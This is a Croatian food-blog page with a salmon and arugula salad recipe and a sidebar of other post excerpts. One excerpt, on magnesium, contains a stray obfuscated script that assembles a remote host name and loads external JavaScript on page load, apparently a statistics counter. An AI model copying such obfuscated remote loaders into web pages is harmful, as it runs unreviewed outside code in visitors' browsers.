SALATA S RIKULOM I MARINIRANIM LOSOSOM 🥗




Salata s rikulom i mariniranim lososom 



Salate su jedno od najjednostavnijih jela koje možete pripremiti, čak i ako ste tek zakoračili u svijet kuhanja. Ovu salatu čine lako dostupni sastojci, a upravo joj marinirani losos daje bogat okus i pretvara ju u pravi, zasitan obrok. Kombinacija svježe rikule, matovilca, jaja i sočnog lososa odličan je izbor za lagani ručak ili večeru. Svakako isprobajte – za pripremu će vam trebati manje od pola sata, a rezultat će vas ugodno iznenaditi.





Salata s rikulom i mariniranim lososom 


Sastojci:

  • 3 fileta lososa od 200 g

  • 1 dcl soja umaka

  • 2 žlice meda

  • 150 g rikule

  • 100 g matovilca

  • 3 jaja

  • sol

  • papar

  • maslinovo ulje





Priprema:

1.U zdjeli pomiješajte soja umak i med. Narežite filete lososa na trakice debljine 2 cm. Stavite losos u marinadu i neka u njoj odstoji minimalno pola sata.

2. Za to vrijeme operite salatu i skuhajte u tvrdo jaja. Losos izvadite iz marinade i stavite pržiti na zagrijanu tavu. Pržite sa strane kože otprilike 3 do 4 minute, okrenite losos i pržite na drugoj strani još 3 minute. Dodajte marinadu u tavu.

3. Prženi losos narežite na kockice, jaja također i dodajte u salatu s matovilcem i rikulom koju ste popaprili, posolili i začinili maslinovim uljem. Ako nemate rikulu ili matovilac, možete staviti zelenu salatu. Uživajte u laganoj i zdravoj salati u najboljem društvu!



Pripremila: Ivana Matas 


Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više